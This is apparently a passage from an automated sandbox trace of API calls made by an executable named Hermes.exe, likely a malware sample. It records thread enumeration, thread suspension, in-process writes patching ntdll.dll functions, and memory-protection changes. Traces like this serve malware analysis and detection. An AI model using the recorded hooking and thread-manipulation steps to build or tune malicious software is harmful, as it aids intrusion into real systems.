[0049.385] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.386] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.387] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.387] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.388] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.389] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.389] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.390] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.391] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.391] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.392] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.393] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.393] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.394] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.395] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.395] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.396] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.396] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.397] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.398] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.398] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.399] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.400] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.401] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.401] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.402] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.403] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.403] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.404] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.404] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.405] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.406] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.406] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.407] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.407] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.408] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.409] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.409] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.410] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.411] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.411] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.412] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.412] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.413] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.414] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.414] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.415] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.523] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.524] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.524] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.525] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.526] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.526] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.527] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.528] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.528] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.529] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.529] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.530] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.531] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.531] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.532] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.533] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.533] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.534] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.535] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.535] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.536] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.537] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.537] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.538] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.539] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.539] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.540] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.542] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.543] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.544] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.544] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.545] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.546] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.546] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.547] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.547] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.548] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.549] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.550] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.550] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.551] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.551] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.552] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.553] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.553] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.554] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.555] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.555] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.605] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.605] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.606] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.607] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.607] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.608] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.609] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.609] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.610] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.610] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.611] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.612] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.612] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.613] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.614] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.615] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.615] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.616] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.617] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.617] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.618] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.622] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.622] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.623] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.624] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.624] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.625] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.626] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.626] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.627] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.627] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.628] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.629] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.629] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.630] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.630] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.631] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.632] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.632] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.633] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.634] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.635] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.635] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.636] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.637] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.637] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.638] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.639] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.640] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.640] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.641] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.642] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.642] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.643] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.644] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.644] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.645] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.646] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.646] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.647] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.647] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.971] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0x37c) returned 0x148 [0049.972] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x4) returned 0x29909e0 [0049.972] CloseHandle (hObject=0x14c) returned 1 [0049.972] SuspendThread (hThread=0x148) returned 0x0 [0049.974] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0049.976] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2995768 [0049.976] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x17) returned 0x29904e0 [0049.978] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x29958b8 [0049.978] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x28f0000 [0049.979] GetCurrentProcess () returned 0xffffffff [0049.979] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x28f0005, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0049.980] GetCurrentProcess () returned 0xffffffff [0049.980] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x28f000f, lpBuffer=0x19e938*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e938*, lpNumberOfBytesWritten=0x0) returned 1 [0049.980] GetCurrentProcess () returned 0xffffffff [0049.980] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c22210, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0049.985] GetCurrentProcess () returned 0xffffffff [0049.987] VirtualProtect (in: lpAddress=0x28f0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e974 | out: lpflOldProtect=0x19e974*=0x40) returned 1 [0049.987] GetCurrentProcess () returned 0xffffffff [0049.989] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x29957b0 [0049.989] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x13) returned 0x2990500 [0049.991] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2995780 [0049.991] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x2900000 [0049.991] GetCurrentProcess () returned 0xffffffff [0049.992] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x2900007, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0049.992] GetCurrentProcess () returned 0xffffffff [0049.992] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x2900013, lpBuffer=0x19e938*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e938*, lpNumberOfBytesWritten=0x0) returned 1 [0049.992] GetCurrentProcess () returned 0xffffffff [0049.992] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c5a520, lpBuffer=0x19e934*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e934*, lpNumberOfBytesWritten=0x0) returned 1 [0049.992] GetCurrentProcess () returned 0xffffffff [0049.998] GetCurrentProcess () returned 0xffffffff [0049.999] VirtualProtect (in: lpAddress=0x2900000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e974 | out: lpflOldProtect=0x19e974*=0x40) returned 1 [0049.999] GetCurrentProcess () returned 0xffffffff [0050.002] ResumeThread (hThread=0x148) returned 0x1 [0050.002] CloseHandle (hObject=0x148) returned 1 [0050.002] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x29909e0 | out: hHeap=0x2990000) returned 1 [0050.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x20, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x426000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x40) returned 0x0 [0050.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x2, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x41b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x4) returned 0x0 [0050.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x20, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x401000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x40) returned 0x0 [0050.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, NewAccessProtection=0x4, OldAccessProtection=0x19fe00 | out: BaseAddress=0x19fac0*=0x44b000, NumberOfBytesToProtect=0x19fab8, OldAccessProtection=0x19fe00*=0x20) returned 0x0 [0050.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19ff74 | out: lpSystemTimeAsFileTime=0x19ff74*(dwLowDateTime=0x974827d5, dwHighDateTime=0x1d51251)) [0050.015] GetCurrentProcessId () returned 0xf4c [0050.015] GetCurrentThreadId () returned 0xf30 [0050.015] GetTickCount () returned 0x21330 [0050.015] QueryPerformanceCounter (in: lpPerformanceCount=0x19ff6c | out: lpPerformanceCount=0x19ff6c*=13601859239) returned 1 [0050.015] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2b80000 [0050.016] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.016] GetProcAddress (hModule=0x75e90000, lpProcName="FlsAlloc") returned 0x75ea4ae0 [0050.016] GetProcAddress (hModule=0x75e90000, lpProcName="FlsGetValue") returned 0x75ea4b20 [0050.016] GetProcAddress (hModule=0x75e90000, lpProcName="FlsSetValue") returned 0x75ea4b40 [0050.016] GetProcAddress (hModule=0x75e90000, lpProcName="FlsFree") returned 0x75ea4b00 [0050.017] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.017] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.017] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.017] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.017] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.017] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.018] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.018] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.018] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.018] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.018] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.018] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.018] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.019] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.019] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.019] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0050.019] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x214) returned 0x2b805a8 [0050.020] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.020] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0050.020] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0050.020] GetProcAddress (hModule=0x75e90000, lpProcName="EncodePointer") returned 0x77c129e0 [0050.020] GetProcAddress (hModule=0x75e90000, lpProcName="DecodePointer") returned 0x77c11ec0 [0050.020] GetCurrentThreadId () returned 0xf30 [0050.020] GetStartupInfoA (in: lpStartupInfo=0x19fee0 | out: lpStartupInfo=0x19fee0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\Hermes.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0050.020] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x8, Size=0x800) returned 0x2b807c8 [0050.020] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.021] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.021] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.021] SetHandleCount (uNumber=0x20) returned 0x20 [0050.021] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\Desktop\\Hermes.exe\" " [0050.021] GetEnvironmentStringsW () returned 0xf6c580* [0050.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0050.021] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x565) returned 0x2b80fd0 [0050.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2b80fd0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0050.021] FreeEnvironmentStringsW (penv=0xf6c580) returned 1 [0050.021] GetLastError () returned 0x0 [0050.021] SetLastError (dwErrCode=0x0) [0050.021] GetLastError () returned 0x0 [0050.021] SetLastError (dwErrCode=0x0) [0050.022] GetLastError () returned 0x0 [0050.022] SetLastError (dwErrCode=0x0) [0050.022] GetACP () returned 0x4e4 [0050.022] RtlAllocateHeap (HeapHandle=0x2b80000, Flags=0x0, Size=0x220) returned 0x2b81540 [0050.022] GetLastError () returned 0x0 [0050.022] SetLastError (dwErrCode=0x0) [0050.022] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.022] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fec0 | out: lpCPInfo=0x19fec0) returned 1 [0050.022] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f98c | out: lpCPInfo=0x19f98c) returned 1 [0050.022] GetLastError () returned 0x0 [0050.022] SetLastError (dwErrCode=0x0) [0050.022] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f91c | out: lpCharType=0x19f91c) returned 1 [0050.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ男AĀ") returned 256 [0050.022] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᨓﻈ男AĀ", cchSrc=256, lpCharType=0x19f9a0 | out: lpCharType=0x19f9a0) returned 1 [0050.022] GetLastError () returned 0x0 [0050.023] SetLastError (dwErrCode=0x0) [0050.023] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0050.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fda0, cbMultiByte=256, lpWideCharStr=0x19f6d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ") returned 256 [0050.023] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ煻AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.023] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 